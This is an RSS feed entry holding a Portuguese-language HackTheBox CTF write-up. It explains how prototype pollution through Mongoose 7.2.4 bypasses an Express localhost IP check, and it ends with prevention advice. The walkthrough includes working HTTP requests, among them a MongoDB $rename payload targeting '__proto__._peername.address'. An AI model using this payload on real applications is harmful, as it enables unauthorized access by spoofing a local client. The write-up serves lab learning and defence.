<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Marlon Vicente | AppSec &amp; Software Engineering</title>
        <link>https://marlonvicente.com/</link>
        <description>Artigos, write-ups de segurança e engenharia de software de alta performance por Marlon Vicente.</description>
        <lastBuildDate>Thu, 03 Sep 2026 02:12:08 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>pt-BR</language>
        <copyright>Todos os direitos reservados 2026, Marlon Vicente</copyright>
        <item>
            <title><![CDATA[Desafio HTB - Secure Notes]]></title>
            <link>https://marlonvicente.com/posts/desafio-htb---secure-notes</link>
            <guid isPermaLink="false">https://marlonvicente.com/posts/desafio-htb---secure-notes</guid>
            <pubDate>Sat, 22 Aug 2026 14:55:28 GMT</pubDate>
            <content:encoded><![CDATA[# A Linha de Raciocínio por Trás de um Bypass de IP via Prototype Pollution

## O Cenário Inicial: Caixa-Branca e o Objetivo

Durante a resolução de um laboratório de segurança (CTF), nos foi disponibilizado o cenário clássico de **teste caixa-branca (white-box)**: tínhamos acesso completo ao código-fonte da aplicação Node.js e seus arquivos de configuração.

Nosso objetivo era direto, porém desafiador: **capturar a flag** protegida por uma validação de IP na rota restrita `/flag`. Ter acesso ao código-fonte e ao arquivo `package.json` foi o fator decisivo para que pudéssemos cruzar a lógica de rede da aplicação com as dependências instaladas.

---

## A Descoberta: O Alvo Protegido

Tudo começou com uma clássica barreira de entrada. Ao analisar as rotas da aplicação Express, encontramos o seguinte trecho de código protegendo a rota `/flag`:

```javascript
app.get('/flag', (req, res) => {
    const remoteAddress = req.connection.remoteAddress;
    if (remoteAddress === '127.0.0.1' || remoteAddress === '::1' || remoteAddress === '::ffff:127.0.0.1') {
        res.send(process.env.FLAG ?? 'HTB{f4k3_fl4g_f0r_t3st1ng}');
    } else {
        res.status(403).json({ Message: 'Access denied' });
    }
});
```

A primeira pergunta que nos fizemos foi: *Como podemos simular que a nossa requisição está partindo da própria máquina local (`127.0.0.1`), se a rede física nos identifica com o nosso IP externo real?*

---

## O Elo Fraco: Entrada Sem Sanitização

Procurando por caminhos para interagir com o sistema, analisamos a rota `/update`, responsável por atualizar notas no banco de dados MongoDB:

```javascript
app.post('/update', async (req, res) => {
    try {
        const { noteId } = req.body;
        await Note.findByIdAndUpdate(noteId, req.body);
        let result = await Note.find({ _id: noteId });
        res.json(result);
    } catch (error) {
        console.error(error);
        res.status(500).json({ Message: "An error occurred" });
    }
});
```

> [!WARNING]
> O método `findByIdAndUpdate` recebe o objeto `req.body` inteiro. Isso significa que qualquer operador de banco de dados que enviarmos (como `$set` ou `$rename`) será executado cegamente pelo banco.

Ao inspecionar o arquivo `package.json`, notamos que o projeto utilizava o **Mongoose na versão 7.2.4**. Sabendo que o Mongoose interpreta caminhos complexos para mapear dados e possui um histórico de vulnerabilidades de atribuição de protótipo (Prototype Pollution), o que aconteceria se renomeássemos um campo do banco de dados para injetar propriedades especiais do JavaScript?

---

## O Insight: A "Linha do Tempo" e o Protótipo do JS

Como o Mongoose e o Node.js compartilham o mesmo espaço de memória na mesma engine de execução do JavaScript (V8), qualquer alteração nos objetos base afeta todo o comportamento do servidor.

Lembramos que no JavaScript, a herança funciona de maneira dinâmica através de referências diretas (e não por cópias rígidas de classes). Cada objeto novo herda do ancestral comum de todos: o `Object.prototype`.

```mermaid
graph TD
    Socket["Socket (Conexão do Usuário)"] --> netSocket["net.Socket.prototype"]
    netSocket --> ObjectProto["Object.prototype (O ancestral 'Adão e Eva')"]
```

Nossa linha de raciocínio lógico foi a seguinte:

1. O Node.js precisa verificar o IP do cliente através do getter `req.connection.remoteAddress`.
2. Para evitar consultar o sistema operacional a cada leitura, o Node.js lê um cache interno no socket chamado `_peername`.
3. Se o cache `_peername` estiver definido, o Node.js confia nele e simplesmente lê `_peername.address`.
4. Como `_peername` não é definido no socket na inicialização, a busca por essa propriedade sobe pela cadeia de protótipos até `Object.prototype`.
5. Se conseguirmos usar a injeção NoSQL no Mongoose para poluir o `Object.prototype._peername` global com o valor `{ address: "127.0.0.1" }`, todos os sockets criados a partir daí herdarão dinamicamente esse "DNA" alterado.

---

## Executando o Plano de Ataque

Com o plano traçado, executamos o bypass em três etapas:

### 1. Criar o Objeto de Payload
Primeiro, criamos uma nota comum no banco de dados com a propriedade `title` contendo a string correspondente ao IP local que desejamos simular:

```http
POST /create HTTP/1.1
Host: localhost:3000
Content-Type: application/json

{
  "title": "127.0.0.1",
  "content": "Payload Cache"
}
```
*Esta requisição nos devolveu o ID da nota recém-criada.*

### 2. Disparar a Poluição via `$rename`
Em seguida, enviamos uma atualização para a rota vulnerável. Usamos o operador `$rename` do MongoDB para renomear o campo `title` da nossa nota para `"__proto__._peername.address"`. 

```http
POST /update HTTP/1.1
Host: localhost:3000
Content-Type: application/json

{
  "noteId": "ID_DA_NOTA_GERADA",
  "$rename": {
    "title": "__proto__._peername.address"
  }
}
```

> [!IMPORTANT]
> Quando o Mongoose processou o retorno desta operação e tentou mapear a nova estrutura com o caminho `"__proto__._peername.address"`, ele acessou o protótipo global de objetos, inicializou o objeto `_peername` e injetou a propriedade `address` com o valor de IP estático diretamente nele.

### 3. Capturando a Flag
Por fim, fizemos a requisição para a rota restrita `/flag`. O getter do Node.js leu `req.connection._peername`, encontrou o valor herdado do protótipo poluído e assumiu que a conexão pertencia ao localhost (`127.0.0.1`), liberando o acesso.

```http
GET /flag HTTP/1.1
Host: localhost:3000
```

---

## Como Prevenir?

Para blindar a aplicação contra esse cenário de manipulação de protótipo:

* **Validação de Entrada Estrita:** Nunca passe objetos de requisição diretos para o banco de dados. Use esquemas com bibliotecas de validação rígidas (ex: Zod) para garantir que apenas chaves explícitas sejam permitidas.
* **Congelamento de Protótipo:** Ao inicializar a aplicação Node.js, você pode desativar a mutação do protótipo chamando:
  ```javascript
  Object.freeze(Object.prototype);
  ```
  Isso garante que mesmo se uma biblioteca tentar injetar chaves em `__proto__`, a linha do tempo e o DNA global dos objetos estarão protegidos contra modificações.
]]></content:encoded>
            <category>Node.Js</category>
            <category>SQL Injection</category>
            <category>MongoDB</category>
        </item>
    </channel>
</rss>